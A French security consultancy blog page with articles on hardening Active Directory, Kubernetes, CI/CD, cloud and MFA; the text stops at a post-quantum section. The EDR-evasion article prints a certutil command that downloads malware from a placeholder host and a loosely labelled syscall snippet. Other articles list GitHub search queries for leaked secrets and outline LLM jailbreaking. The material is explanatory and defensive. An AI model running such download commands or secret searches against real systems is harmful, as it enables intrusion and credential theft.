Blog & Actualités Cybersécurité

Retrouvez nos analyses, retours d'expérience et veilles techniques sur le monde de la cybersécurité offensive.

Illustration pour l'article sur Active Directory
Active Directory

Top 5 des failles de configuration courantes sur Active Directory

Découvrez les erreurs de configuration les plus fréquentes qui mettent en péril votre annuaire et comment les attaquants les exploitent.

Illustration pour un article sur Kubernetes
Kubernetes

Sécuriser son cluster K8s : par où commencer ?

RBAC, Network Policies, Pod Security... Un guide pratique pour mettre en place les premières briques de sécurité sur votre cluster.

Illustration pour un article sur la sécurité Cloud
Cloud

La menace des secrets exposés sur GitHub : comment s'en protéger ?

Clés d'API, mots de passe... Les fuites de secrets sont une porte d'entrée majeure. Découvrez les outils et process pour les éviter.

Illustration pour l'article sur les attaques de la chaîne d'approvisionnement
Threat Intelligence

Défense contre les attaques de la chaîne d'approvisionnement logicielle

Analyse technique des attaques comme SolarWinds et Log4j, et des stratégies de détection et de mitigation avancées.

Illustration pour l'article sur l'évasion des EDR
Sécurité Offensive

Techniques d'évasion EDR : comment les attaquants contournent la détection

Plongez dans les méthodes avancées d'évasion des Endpoint Detection and Response, de l'in-memory patching à l'hooking.

Illustration pour l'article sur la sécurité des LLM
Intelligence Artificielle

La sécurité des LLM : de l'injection de prompts aux attaques adversariales

Exploration des menaces spécifiques aux grands modèles de langage et des techniques de durcissement des applications basées sur l'IA.

Illustration pour l'article sur la sécurité Web3
Web3

Sécurité des smart contracts : une analyse des failles les plus exploitées

Des attaques de réentrance aux overflows, nous décortiquons les vulnérabilités qui coûtent des millions sur la blockchain.

Illustration pour l'article sur le contournement de la MFA
Authentification

MFA n'est pas infaillible : décryptage des techniques de contournement

Analyse des attaques par relais de session, SIM swapping et autres méthodes utilisées pour compromettre l'authentification multifacteur.

Illustration pour l'article sur la sécurité CI/CD
DevSecOps

Sécuriser votre pipeline CI/CD : des GitHub Actions à la détection des failles

Comment les attaquants infiltrent les pipelines de déploiement et les mesures de sécurité pour durcir vos processus DevOps.

Illustration pour l'article sur le Zero Trust
Architecture

Mise en œuvre d'une architecture Zero Trust : guide technique

Analyse des principes, des défis techniques et des outils pour déployer une stratégie Zero Trust efficace dans votre entreprise.

Illustration pour l'article sur la sécurité Cloud Native
Cloud Native

Attaques et défenses avancées dans les environnements Cloud natifs

Des attaques de sidecar aux vulnérabilités d'image, un tour d'horizon des menaces sur les architectures modernes.

Illustration pour l'article sur le Threat Hunting
Sécurité Opérationnelle

Le Threat Hunting : au-delà de la détection, la chasse proactive

Stratégies et techniques pour traquer les menaces persistantes et indétectables, avant qu'elles ne causent des dommages.

Illustration pour l'article sur la cryptographie post-quantique
Cryptographie

Défis de la sécurité quantique : comprendre la cryptographie post-quantique

Une exploration des algorithmes de chiffrement résistants aux futurs ordinateurs quantiques et des enjeux de la transition.

Illustration pour l'article sur le mouvement latéral
Techniques d'attaque

Du pivot au mouvement latéral : décryptage des techniques d'escalade post-compromission

Analyse des méthodes utilisées par les attaquants pour se déplacer silencieusement dans le réseau après une première intrusion.

Active Directory

Top 5 des failles de configuration courantes sur Active Directory

Publié le 10 août 2025 par l'équipe Ayi NEDJIMI Consultants

Active Directory (AD) est le cœur de la plupart des infrastructures d'entreprise. Mal configuré, il devient une porte d'entrée massive pour les attaquants. Cet article explore les cinq erreurs de configuration les plus fréquentes que nous rencontrons lors de nos audits de sécurité et comment les prévenir, en allant au-delà des notions de base.

1. Permissions délégatives excessives et le principe du moindre privilège

La délégation de contrôle sur Active Directory est une fonctionnalité puissante, mais elle est souvent mal gérée. Donner à des comptes de service, ou pire, à des groupes d'utilisateurs, des droits trop larges (comme le droit de modifier les `groupPolicyObjects` ou de créer des utilisateurs dans l'ensemble du domaine) est une erreur critique. Un attaquant qui parvient à compromettre un seul de ces comptes peut alors s'élever en privilèges de manière significative. Il est crucial de suivre le principe du moindre privilège (PoLP). Pour cela, utilisez des unités d'organisation (OU) spécifiques pour les délégations, et ciblez précisément les permissions nécessaires pour une tâche donnée. Les ACLs (Access Control Lists) devraient être auditées régulièrement à l'aide d'outils comme BloodHound pour visualiser les chemins d'attaque potentiels et identifier les comptes à privilèges cachés.

2. Vulnérabilités Kerberos : Kerberoasting et Golden Ticket

Kerberos, le protocole d'authentification d'AD, est une mine d'or pour les attaquants. Les failles courantes incluent :

  • Kerberoasting : Un attaquant peut demander un ticket de service (TGS) pour n'importe quel compte de service (SPN). Le TGS est chiffré avec le hachage du mot de passe du compte de service. En récupérant ce TGS, l'attaquant peut tenter de déchiffrer le hachage hors ligne à l'aide d'outils comme Hashcat, contournant ainsi les politiques de verrouillage de compte d'AD. Pour vous en protéger, imposez des mots de passe très longs et complexes (plus de 25 caractères) pour tous les comptes de service et envisagez la détection d'anomalies.
  • Golden Ticket : Un attaquant qui compromet le compte KRBTGT peut forger un "Golden Ticket" (un TGT valide pour n'importe quel utilisateur ou service) et obtenir un contrôle total et persistant sur le domaine, même après la réinitialisation des mots de passe. La protection repose sur la sécurisation absolue du compte KRBTGT et la détection d'activités suspectes sur le KDC (Key Distribution Center).

3. Contrôleurs de domaine et la gestion des correctifs

Les contrôleurs de domaine (DC) sont les cibles ultimes d'un attaquant. Une vulnérabilité non patchée sur un DC est une invitation à la compromission. Le cas de Zerologon (CVE-2020-1472) en est un exemple parfait, où une seule vulnérabilité permettait de prendre le contrôle d'un DC. La gestion rigoureuse des correctifs est non négociable. Un plan de "patch management" doit être mis en place pour les DC, avec une surveillance constante des journaux d'événements pour détecter toute tentative d'exploitation. L'utilisation d'un système de détection des intrusions (IDS) ou d'un SIEM (Security Information and Event Management) est essentielle pour remonter ces alertes en temps réel.

4. Mauvaise gestion des groupes à privilèges et Tiered Administration

La compromission d'un compte membre des groupes `Domain Admins`, `Enterprise Admins` ou `Schema Admins` conduit instantanément à une prise de contrôle totale. Pour réduire ce risque, l'approche de la Tiered Administration est la meilleure pratique :

  • Tier 0 : Comprend les comptes et systèmes les plus critiques (DC, comptes administrateurs de domaine). L'accès à ce tier doit être extrêmement restreint.
  • Tier 1 : Comprend les serveurs et applications critiques.
  • Tier 2 : Comprend les postes de travail des utilisateurs et les systèmes de moindre importance.

Les comptes et les sessions ne peuvent circuler que de bas en haut (Tier 2 -> Tier 1 -> Tier 0) et jamais l'inverse. L'utilisation de solutions de gestion des accès à privilèges (PAM) comme CyberArk ou Thycotic est fortement recommandée pour gérer et isoler ces comptes.

5. Mauvaise gestion des mots de passe

Malgré les évolutions, les mots de passe faibles restent une porte d'entrée majeure. La politique de mot de passe par défaut d'AD est souvent insuffisante. Les attaquants utilisent le `password spraying` pour tester un petit nombre de mots de passe courants sur un grand nombre de comptes, évitant ainsi les verrouillages de compte. Des politiques robustes exigent :

  • Une longueur minimale de 15 caractères.
  • Une complexité élevée (majuscules, minuscules, chiffres, caractères spéciaux).
  • Un historique des mots de passe pour éviter la réutilisation.
  • Une stratégie de verrouillage de compte après 3 à 5 tentatives échouées.

L'activation de l'authentification multifacteur (MFA) pour tous les comptes à privilèges est également une mesure de sécurité impérative.

Kubernetes

Sécuriser son cluster K8s : par où commencer ?

Publié le 25 juillet 2025 par l'équipe Ayi NEDJIMI Consultants

Kubernetes est devenu le standard de fait pour l'orchestration de conteneurs, mais il présente un large éventail de challenges de sécurité. Si vous débutez dans la sécurisation de votre cluster, voici les premières étapes essentielles pour construire une défense solide.

1. Appliquer le principe du moindre privilège avec le RBAC

Le RBAC (Role-Based Access Control) est le fondement de la sécurité dans Kubernetes. Par défaut, les comptes de service peuvent avoir des permissions étendues, ce qui est une erreur critique. Il est primordial de définir des `Roles` et des `ClusterRoles` avec des permissions précises et d'y associer vos comptes de service. Par exemple, un pod qui n'a besoin que de lire des secrets ne devrait avoir que les permissions `get` sur les ressources `secrets`, pas un accès `*`. Ne donnez jamais à un pod plus de permissions que nécessaire pour sa fonction. Pensez également à auditer régulièrement les permissions accordées pour éviter la prolifération de privilèges inutiles.

Exemple de `Role` pour lire des pods :

apiVersion: rbac.authorization.k8s.io/v1
kind: Role
metadata:
  name: pod-reader
  namespace: default
rules:
- apiGroups: [""] # "" indique le groupe d'API core
  resources: ["pods"]
  verbs: ["get", "watch", "list"]

Ce `Role` peut ensuite être lié à un `ServiceAccount` via un `RoleBinding`.

2. Utiliser les Network Policies

Par défaut, tous les pods peuvent communiquer entre eux sans restriction. Les Network Policies agissent comme des pare-feu au niveau des pods, vous permettant de contrôler le flux de trafic entre eux. Commencez par définir des règles de "deny all" pour l'ensemble de votre cluster, puis autorisez explicitement les communications nécessaires. Cela réduit considérablement la surface d'attaque en cas de compromission d'un pod, en empêchant la "lateral movement".

Exemple de `Network Policy` qui autorise le trafic uniquement depuis certains pods :

apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
  name: db-allow-from-frontend
spec:
  podSelector:
    matchLabels:
      app: database
  policyTypes:
  - Ingress
  ingress:
  - from:
    - podSelector:
        matchLabels:
          app: frontend

3. Adopter la Pod Security Admission

La Pod Security Admission, introduite après les `PodSecurityPolicies`, permet d'appliquer des normes de sécurité pour les pods au moment de l'admission (leur création). En l'activant, vous pouvez imposer des contraintes strictes, comme l'interdiction de l'exécution en tant que `root`, l'utilisation de `hostPath` (qui permet d'accéder au système de fichiers du nœud) ou de `hostNetwork`. Ces contrôles préventifs empêchent le déploiement de pods potentiellement dangereux pour le cluster. Les trois niveaux de politique (`privileged`, `baseline`, `restricted`) offrent une flexibilité pour s'adapter à vos besoins.

4. Sécuriser les images de conteneurs

Une grande partie des vulnérabilités proviennent des images de conteneurs utilisées. C'est pourquoi il est essentiel d'intégrer la sécurité des images dans votre pipeline CI/CD :

  • Scan de vulnérabilités : Utilisez des outils comme Trivy, Clair ou Snyk pour scanner vos images et détecter les CVEs. Bloquez le déploiement des images qui ne respectent pas vos seuils de criticité.
  • Images minimales : Privilégiez l'utilisation d'images de base minimales comme `Alpine` ou `distroless` pour réduire considérablement la surface d'attaque en éliminant les binaires et bibliothèques inutiles.
  • Signature et provenance : Assurez-vous que les images proviennent d'une source de confiance et qu'elles n'ont pas été modifiées. Des outils comme Notary ou des registres de conteneurs comme l'ACR d'Azure ou le GCR de Google Cloud avec des fonctionnalités de signature vous y aideront.

5. Surveillance de la sécurité en runtime

La sécurisation de votre cluster ne s'arrête pas au déploiement. Vous devez surveiller ce qui se passe en temps réel. Des outils de sécurité en runtime comme Falco permettent de détecter les activités suspectes au niveau du noyau, comme un shell qui s'exécute dans un conteneur qui ne devrait pas en avoir, ou l'écriture dans des fichiers sensibles. Intégrez ces outils à votre SIEM ou à votre système d'alerting pour une réponse rapide en cas d'incident.

Cloud

La menace des secrets exposés sur GitHub : comment s'en protéger ?

Publié le 12 juin 2025 par l'équipe Ayi NEDJIMI Consultants

L'exposition de secrets tels que des clés d'API, des mots de passe, des tokens ou des certificats dans les dépôts publics de GitHub est une menace omniprésente. Une simple recherche peut révéler ces informations, ouvrant la porte à une compromission complète du Cloud. Voici une analyse technique des méthodes de protection.

1. Comment les secrets sont-ils trouvés ?

Les attaquants ne se contentent pas de la chance. Ils utilisent des méthodes automatisées pour scanner les dépôts publics. GitHub a son propre moteur de recherche qui permet de filtrer par extensions de fichiers ou par mots-clés spécifiques. Des requêtes comme `filename:.env password`, `api_key "aws"`, ou `database_url` sont courantes. De plus, des services spécialisés comme GitGuardian surveillent les dépôts en temps réel pour détecter les fuites. C'est pourquoi la prévention est le seul moyen efficace de se protéger.

2. Intégrer un scan de secrets dans votre pipeline CI/CD

La meilleure défense est de ne jamais commettre le secret. Les outils de scan de secrets comme TruffleHog, Gitleaks ou les fonctionnalités intégrées de GitGuardian peuvent être intégrés directement dans votre pipeline CI/CD via des hooks Git ou des actions GitHub. Ces outils analysent chaque `commit` ou `push` pour y déceler des motifs (`regex`) de secrets (clés API, tokens, hachages de mots de passe, etc.). Si un secret est détecté, le `commit` est bloqué, empêchant ainsi la fuite.

Exemple de configuration `pre-commit` avec Gitleaks :

repos:
- repo: https://github.com/zricethezav/gitleaks
  rev: v8.18.0
  hooks:
    - id: gitleaks

3. Adopter une stratégie de Secrets Management centralisée

Les secrets ne devraient jamais être stockés en clair dans le code. Au lieu de cela, utilisez des solutions de gestion de secrets comme HashiCorp Vault, AWS Secrets Manager ou Azure Key Vault. Ces plateformes permettent de :

  • Stocker les secrets de manière sécurisée et chiffrée.
  • Gérer les cycles de vie des secrets (rotations, expirations).
  • Contrôler l'accès aux secrets via des politiques d'accès fines.
  • Les injecter dans les applications au moment de l'exécution, sans qu'ils ne soient jamais écrits dans le code source ou un fichier de configuration.

Cette approche découple les secrets du code source, réduisant le risque de fuite drastiquement.

4. Révoquer et auditer les secrets exposés

Si un secret est découvert publiquement, la première action est de le révoquer immédiatement, même si vous pensez qu'il n'a pas été utilisé. Un attaquant peut déjà l'avoir repéré et est en train de l'exploiter. Après la révocation, vous devez effectuer une analyse approfondie pour déterminer la portée de la compromission et les actions à prendre pour mitiger les dommages potentiels. Pour un accompagnement sur la sécurité de vos environnements Cloud, consultez notre livre blanc.

Threat Intelligence

Défense contre les attaques de la chaîne d'approvisionnement logicielle

Publié le 10 septembre 2025 par l'équipe Ayi NEDJIMI Consultants

Les attaques de la chaîne d'approvisionnement (supply chain attacks) sont devenues une menace majeure, ciblant les maillons faibles de l'écosystème logiciel. De l'affaire SolarWinds à la vulnérabilité Log4j, ces attaques démontrent la fragilité des chaînes de confiance. Cet article analyse les mécanismes de ces attaques et les stratégies de défense avancées.

1. Comprendre le mode opératoire des attaquants

L'objectif est d'injecter un code malveillant dans un logiciel ou une dépendance légitime. Cela peut se produire à plusieurs niveaux :

  • Compromission de l'éditeur : Comme dans le cas de SolarWinds, les attaquants compromettent le système de build d'un éditeur pour signer et distribuer un binaire malveillant.
  • Détournement de dépendances : L'attaquant publie une version compromise d'une bibliothèque open-source populaire, ou utilise l'homoglyph attack (noms de paquets similaires à d'autres très utilisés).
  • Exploitation de vulnérabilités Zero-day : La vulnérabilité Log4j a permis à des attaquants d'exécuter du code arbitraire via un simple en-tête HTTP, démontrant l'impact d'une faille dans une dépendance largement utilisée.

2. Stratégies de défense avancées

La protection nécessite une approche multicouche, allant au-delà du simple scanning de vulnérabilités.

  • Sécurisation du pipeline CI/CD : Le pipeline est la cible privilégiée. Utilisez des conteneurs éphémères pour les builds, appliquez le principe du moindre privilège aux agents de build, et segmentez rigoureusement le réseau du pipeline.
  • Signature et vérification des dépendances : Mettez en place une politique stricte de vérification. Utilisez des outils comme Sigstore et Notary pour vous assurer que les images et les paquets sont signés par une source de confiance et n'ont pas été altérés.
  • SBOM (Software Bill of Materials) : Générez systématiquement une SBOM pour chaque application. Cela vous permet d'avoir une visibilité complète sur les dépendances et de réagir plus vite en cas de nouvelle vulnérabilité.
  • Détection des anomalies en runtime : Des solutions comme Falco (pour Kubernetes) ou des outils de détection d'anomalies de comportement surveillent les processus en cours d'exécution pour identifier tout comportement suspect qui pourrait indiquer une compromission.

Ces mesures, combinées à une veille continue sur les menaces et les vulnérabilités, sont essentielles pour bâtir une résilience face à ce type d'attaques sophistiquées.

Sécurité Offensive

Techniques d'évasion EDR : comment les attaquants contournent la détection

Publié le 18 septembre 2025 par l'équipe Ayi NEDJIMI Consultants

Les solutions EDR (Endpoint Detection and Response) sont le fer de lance de la détection sur les postes de travail. Cependant, les attaquants développent constamment de nouvelles techniques pour les contourner. Cet article explore les méthodes avancées d'évasion utilisées par les acteurs de la menace pour rester indétectables.

1. L'Evasion par In-memory Patching et Hooking

La plupart des EDRs surveillent le système en injectant des hooks dans les fonctions sensibles de la WinAPI (comme `NtCreateUserProcess`). Les attaquants, pour éviter ces hooks, utilisent des techniques d'in-memory patching, c'est-à-dire qu'ils modifient le code des fonctions en mémoire pour restaurer le comportement original de la fonction et supprimer le hook de l'EDR. Une autre technique est l'utilisation de `direct syscalls` pour appeler directement le noyau sans passer par la couche utilisateur où les hooks sont placés, rendant l'opération invisible pour l'EDR.

Exemple de code PowerShell pour une fonction simple de `syscall` :

$code = @'
[DllImport("ntdll.dll", SetLastError = true)]
public static extern uint NtCreateFile(out IntPtr FileHandle, uint DesiredAccess, ref OBJECT_ATTRIBUTES ObjectAttributes, ref IO_STATUS_BLOCK IoStatusBlock, ref long AllocationSize, uint FileAttributes, uint ShareAccess, uint CreateDisposition, uint CreateOptions, IntPtr EaBuffer, uint EaLength);
// ... autres appels système
'@
Add-Type -TypeDefinition $code -PassThru

2. Evasion en espace utilisateur et noyau

L'évasion peut se produire à plusieurs niveaux. En espace utilisateur, les attaquants peuvent décharger les DLLs de l'EDR ou manipuler les handles de processus. En espace noyau, les techniques sont plus complexes et visent à désactiver ou leurrer le pilote de l'EDR, souvent en exploitant des vulnérabilités de pilotes légitimes pour obtenir un accès privilégié. Le "Bring Your Own Vulnerable Driver" (BYOVD) est une technique où un attaquant charge un pilote vulnérable sur le système pour contourner les contrôles de sécurité.

3. L'utilisation de techniques "Living Off The Land" (LOTL)

Les attaquants exploitent également des binaires système légitimes (LOLBins) pour exécuter leurs actions malveillantes. C'est ce qu'on appelle le "Living Off The Land". Des outils comme `powershell.exe`, `certutil.exe` ou `bitsadmin.exe` sont utilisés pour télécharger des fichiers, exécuter du code ou persister sur le système. Puisque ces binaires sont légitimes, l'EDR a plus de mal à les détecter comme étant malveillants, à moins d'avoir une détection de comportement très fine.

Exemple de commande `certutil` pour télécharger un fichier :

certutil.exe -urlcache -f http://malicious-server.com/malware.exe C:\Temp\malware.exe
Intelligence Artificielle

La sécurité des LLM : de l'injection de prompts aux attaques adversariales

Publié le 05 octobre 2025 par l'équipe Ayi NEDJIMI Consultants

Les grands modèles de langage (LLM) sont au cœur de nombreuses applications. Cependant, leur déploiement introduit de nouvelles surfaces d'attaque. Cet article décortique les menaces les plus critiques qui pèsent sur les LLM, de l'injection de prompts basique aux attaques plus sophistiquées.

1. L'injection de prompts et le jailbreaking

L'attaque la plus courante est l'injection de prompts. Un attaquant fournit des instructions malveillantes à un LLM pour le détourner de sa tâche initiale ou de ses gardes-fous. Le "jailbreaking" est une forme d'injection où l'attaquant force le modèle à ignorer ses règles de sécurité pour générer du contenu inapproprié ou dangereux. Par exemple, un prompt malveillant pourrait forcer un LLM à révéler des informations de configuration sensibles qui ont été utilisées lors de son entraînement.

2. Les attaques de poisoning et d'extraction de données

Les attaques de poisoning consistent à introduire des données malveillantes dans le jeu de données d'entraînement du LLM. L'objectif est d'influencer le comportement futur du modèle pour qu'il génère des réponses biaisées ou incorrectes. L'extraction de données est une autre menace où l'attaquant exploite une faille pour faire "cracher" au modèle des données sensibles qui ont été utilisées pour son entraînement, comme des informations personnelles ou des secrets d'entreprise.

3. Les attaques adversariales sur les LLM

Les attaques adversariales sont une menace plus subtile. Un attaquant utilise des techniques mathématiques pour générer des prompts qui, bien qu'insignifiants pour un humain, trompent le modèle et lui font générer une réponse erronée. Ces attaques ciblent la robustesse du modèle et peuvent être difficiles à détecter. Pour contrer ces menaces, il est impératif de mettre en place un pipeline de validation des prompts, d'utiliser des techniques de "prompt engineering" avancées, et d'intégrer des mécanismes de détection des anomalies dans les requêtes.

Web3

Sécurité des smart contracts : une analyse des failles les plus exploitées

Publié le 22 octobre 2025 par l'équipe Ayi NEDJIMI Consultants

Les smart contracts sont la fondation de l'écosystème Web3. Cependant, leur code est immuable et leurs vulnérabilités peuvent entraîner des pertes financières massives. Cet article examine les failles de sécurité les plus communes et les méthodes pour les prévenir.

1. La vulnérabilité de réentrance (Reentrancy)

Une attaque de réentrance se produit lorsqu'un contrat appelle un autre contrat non fiable et que ce dernier réappelle la fonction initiale avant que celle-ci n'ait eu le temps de mettre à jour son état. La plus célèbre est l'attaque sur le DAO qui a entraîné le hard fork d'Ethereum. Pour s'en protéger, la meilleure pratique est d'utiliser le pattern "Checks-Effects-Interactions", où toutes les modifications d'état (`effects`) sont effectuées avant d'interagir (`interactions`) avec d'autres contrats.

2. Underflow et Overflow

Les langages comme Solidity utilisent des types de données avec une taille fixe (par exemple `uint256`). Si une opération arithmétique dépasse la capacité maximale (`overflow`) ou minimale (`underflow`) de ce type, le résultat "wrap around" et peut être manipulé par un attaquant. Des bibliothèques comme OpenZeppelin's SafeMath ont été développées pour prévenir ces attaques en vérifiant les débordements avant d'effectuer les opérations. De nos jours, les versions modernes de Solidity intègrent des protections natives, mais il est toujours crucial de s'en assurer.

3. Gestion des autorisations et des privilèges

Une mauvaise gestion des autorisations peut permettre à un attaquant d'exécuter des fonctions qui ne lui sont pas destinées. Par exemple, si une fonction critique n'est pas protégée par un `modifier` comme `onlyOwner`, n'importe qui peut l'appeler. L'audit rigoureux du code et l'utilisation de patterns de design comme le "Role-Based Access Control" (RBAC) pour les contrats complexes sont des étapes essentielles pour prévenir ces failles.

Authentification

MFA n'est pas infaillible : décryptage des techniques de contournement

Publié le 15 novembre 2025 par l'équipe Ayi NEDJIMI Consultants

L'authentification multifacteur (MFA) est considérée comme un rempart contre les attaques. Cependant, de nouvelles techniques de contournement émergent, ciblant les faiblesses d'implémentation ou la couche humaine. Cet article examine les méthodes les plus efficaces pour contourner la MFA.

1. L'attaque par relais de session (MFA Relay)

La technique la plus répandue est l'attaque par relais, souvent réalisée avec des frameworks comme Evilginx2 ou Modlishka. L'attaquant met en place un serveur proxy qui se fait passer pour la page de connexion légitime. Lorsque l'utilisateur entre ses identifiants et son code MFA, le serveur les relaye en temps réel à la vraie page de connexion. Les cookies de session qui en résultent, y compris le cookie MFA, sont interceptés et peuvent être réutilisés par l'attaquant pour se connecter. Cette attaque est particulièrement efficace contre les MFA basées sur TOTP et les notifications push.

2. Le SIM Swapping et les vulnérabilités SMS

Le SIM swapping est une attaque où l'attaquant convainc un opérateur téléphonique de transférer le numéro de téléphone de la victime vers une nouvelle carte SIM qu'il contrôle. L'attaquant peut alors recevoir les codes MFA envoyés par SMS, et l'utilisateur est déconnecté de son téléphone. Les MFA basées sur SMS sont donc particulièrement vulnérables et ne devraient pas être considérées comme le seul facteur d'authentification.

3. Les attaques par "Prompt Bombing" ou "MFA Fatigue"

Cette attaque consiste à inonder la victime de requêtes MFA, par exemple en envoyant de multiples notifications push sur son téléphone. L'attaquant parie que la victime, agacée, finira par valider une requête par inadvertance. Cette technique exploite la psychologie humaine et l'épuisement de la vigilance de la victime. Pour s'en prémunir, les systèmes doivent intégrer des seuils de tentatives et des mécanismes de vérification plus robustes, comme l'affichage d'un code sur l'écran de connexion que l'utilisateur doit valider.

DevSecOps

Sécuriser votre pipeline CI/CD : des GitHub Actions à la détection des failles

Publié le 02 décembre 2025 par l'équipe Ayi NEDJIMI Consultants

Le pipeline CI/CD est le moteur du développement moderne. Cependant, s'il n'est pas sécurisé, il peut devenir un point d'entrée pour des attaquants souhaitant compromettre l'ensemble de votre infrastructure. Voici une analyse des menaces et des meilleures pratiques pour les contrer.

1. Les attaques de "Pipeline Poisoning"

Cette attaque consiste à injecter du code malveillant dans le pipeline. Un attaquant peut, par exemple, soumettre une "pull request" avec une action GitHub malicieuse qui exécute du code sur l'agent de build. Un autre scénario est la compromission d'une dépendance utilisée dans le pipeline. Pour contrer cela, il est impératif de scanner toutes les dépendances et de restreindre l'exécution des actions à des sources fiables.

2. Gestion des secrets et des privilèges dans le pipeline

Les pipelines CI/CD manipulent souvent des secrets (clés API, mots de passe) pour déployer des applications. Si ces secrets ne sont pas bien gérés, ils peuvent être exposés. Ne stockez jamais de secrets en clair dans vos fichiers de configuration. Utilisez des solutions de gestion de secrets comme Vault ou le "Secrets Manager" de votre fournisseur Cloud. De plus, les privilèges des agents de build doivent suivre le principe du moindre privilège et ne jamais avoir plus de droits que nécessaire.

3. Durcissement des agents de build et de la plateforme

Les agents de build sont des cibles de choix. Ils doivent être considérés comme non fiables et éphémères. Utilisez des agents de build conteneurisés qui sont détruits après chaque exécution. Le réseau sur lequel les agents s'exécutent doit être rigoureusement segmenté et surveillé. Enfin, intégrez des outils de "Static Application Security Testing" (SAST) et "Dynamic Application Security Testing" (DAST) pour détecter les failles avant le déploiement.

Architecture

Mise en œuvre d'une architecture Zero Trust : guide technique

Publié le 10 décembre 2025 par l'équipe Ayi NEDJIMI Consultants

Le modèle de sécurité Zero Trust, basé sur le principe "Ne jamais faire confiance, toujours vérifier", est devenu la référence. L'abandon de la confiance implicite dans le périmètre du réseau nécessite une approche technique rigoureuse. Cet article explore les piliers de cette architecture et les étapes de sa mise en œuvre.

1. Les trois principes fondamentaux

Une architecture Zero Trust repose sur trois principes clés :

  1. Vérifier explicitement : Toute requête d'accès doit être authentifiée et autorisée de manière stricte, en utilisant tous les facteurs disponibles : identité de l'utilisateur, état de l'appareil, localisation, etc.
  2. Utiliser le principe du moindre privilège : L'accès aux ressources doit être basé sur le "need-to-know" (besoin de savoir) et limité dans le temps. Cela inclut le "Just-in-Time access" et le "Just-Enough Access".
  3. Assumer la compromission : Les systèmes sont conçus pour fonctionner même si une partie du réseau est compromise. Cela implique une segmentation forte du réseau et une surveillance constante.

2. Les piliers techniques de la mise en œuvre

La transition vers le Zero Trust est un projet d'envergure qui s'appuie sur plusieurs technologies :

  • Gestion des identités et des accès (IAM) : Le fondement de l'IAM est l'utilisation de l'authentification multifacteur (MFA) et de politiques d'accès conditionnel basées sur le contexte.
  • Microsegmentation du réseau : Plutôt qu'un seul périmètre, le réseau est divisé en petits segments isolés. Cela empêche un attaquant de se déplacer latéralement en cas de compromission.
  • Visibilité et analyse des données : Une architecture Zero Trust génère une quantité massive de logs. L'utilisation d'un SIEM et de solutions d'analyse comportementale (UEBA) est essentielle pour détecter les anomalies en temps réel.
  • Automatisation et orchestration : Les outils de sécurité doivent être orchestrés pour répondre de manière automatisée aux menaces, par exemple en isolant un appareil compromis ou en révoquant des accès.
Cloud Native

Attaques et défenses avancées dans les environnements Cloud natifs

Publié le 18 décembre 2025 par l'équipe Ayi NEDJIMI Consultants

Les architectures Cloud natives, basées sur les microservices, les conteneurs et les architectures sans serveur, introduisent de nouveaux vecteurs d'attaque. Cet article explore les menaces les plus sophistiquées et les solutions pour sécuriser ces environnements.

1. Attaques ciblant les Sidecars et l'Observabilité

Dans un mesh de services comme Istio, des sidecars sont injectés à côté de chaque pod. Un attaquant peut cibler ces sidecars pour intercepter et exfiltrer le trafic, ou même manipuler les configurations du service mesh pour perturber la communication. De même, les pipelines d'observabilité (logs, métriques, traces) peuvent être compromis pour effacer les preuves d'une attaque.

2. Failles de configuration des API et des Secrets

L'une des menaces les plus courantes est la mauvaise configuration des services Cloud. Un simple service S3 Bucket mal configuré en public ou une base de données avec des règles de pare-feu trop permissives peuvent entraîner une fuite de données majeure. De plus, les secrets (clés API, certificats) ne sont pas toujours gérés correctement et peuvent être exposés dans les conteneurs ou les variables d'environnement. La mise en place d'une gouvernance Cloud et de "Cloud Security Posture Management" (CSPM) est essentielle.

3. Sécurisation de la chaîne de confiance

Une attaque dans un environnement Cloud natif peut se propager rapidement. Il est impératif de sécuriser chaque maillon de la chaîne :

  • Contrôle d'accès : Utilisez un IAM rigoureux et des politiques basées sur les rôles.
  • Sécurité des conteneurs : Scannez les images pour les vulnérabilités, utilisez des images de base minimales et signez vos images.
  • Durcissement du runtime : Utilisez des outils de sécurité en runtime pour détecter les activités suspectes au niveau des conteneurs.
  • Microsegmentation : Isolez les services entre eux pour empêcher le mouvement latéral.
Sécurité Opérationnelle

Le Threat Hunting : au-delà de la détection, la chasse proactive

Publié le 05 janvier 2026 par l'équipe Ayi NEDJIMI Consultants

Le Threat Hunting est l'approche proactive de la détection de menaces. Contrairement à un SOC (Security Operations Center) qui réagit aux alertes, le Threat Hunter part de l'hypothèse qu'une compromission est déjà présente et cherche activement des signes d'activités malveillantes. Cet article présente les méthodologies et les outils de cette discipline.

1. La méthodologie de la chasse

La chasse aux menaces se déroule en plusieurs étapes :

  1. Hypothèse : Le Threat Hunter part d'une hypothèse, par exemple : "Un attaquant a pu installer un backdoor dans notre réseau en utilisant un protocole de communication inhabituel".
  2. Collecte de données : Utilisation d'outils comme un SIEM, EDR ou des journaux de pare-feu pour collecter les données pertinentes.
  3. Analyse : Le Threat Hunter utilise des techniques d'analyse statique et dynamique, l'analyse des logs, l'analyse comportementale, ou des modèles de menaces comme le MITRE ATT&CK pour trouver des indicateurs de compromission (IOCs).
  4. Automatisation et réponse : Une fois la menace identifiée, des règles de détection sont créées pour le SIEM afin de détecter les futures attaques du même type.

2. Les techniques de chasse et les sources de données

Le Threat Hunting peut être basé sur :

  • L'IOC (Indicator of Compromise) : Le chasseur recherche des hachages de fichiers, des adresses IP ou des noms de domaine malveillants.
  • L'IOA (Indicator of Attack) : Le chasseur recherche des séquences d'actions suspectes, comme un processus PowerShell exécuté depuis un répertoire non standard.
  • Les techniques du MITRE ATT&CK : Le chasseur se base sur le framework pour rechercher des comportements connus des attaquants.

Les sources de données clés sont les logs des systèmes, des applications, les données de l'EDR, les informations de l'AD, et les données de flux réseau (NetFlow).

Cryptographie

Défis de la sécurité quantique : comprendre la cryptographie post-quantique

Publié le 25 janvier 2026 par l'équipe Ayi NEDJIMI Consultants

L'avènement des ordinateurs quantiques à grande échelle pourrait briser les algorithmes de cryptographie asymétrique actuels (RSA, Elliptic Curve). La cryptographie post-quantique (PQC) vise à développer des algorithmes qui sont résistants à la fois aux attaques classiques et quantiques. Cet article explore les enjeux et les familles d'algorithmes PQC.

1. La menace des ordinateurs quantiques

Les algorithmes de chiffrement actuels comme RSA reposent sur la difficulté de factoriser de grands nombres. Les courbes elliptiques (ECC) s'appuient sur la difficulté du problème du logarithme discret. L'algorithme de Shor, qui s'exécute sur un ordinateur quantique, pourrait résoudre ces problèmes en un temps raisonnable, rendant ces chiffrements obsolètes.

2. Les familles d'algorithmes de cryptographie post-quantique (PQC)

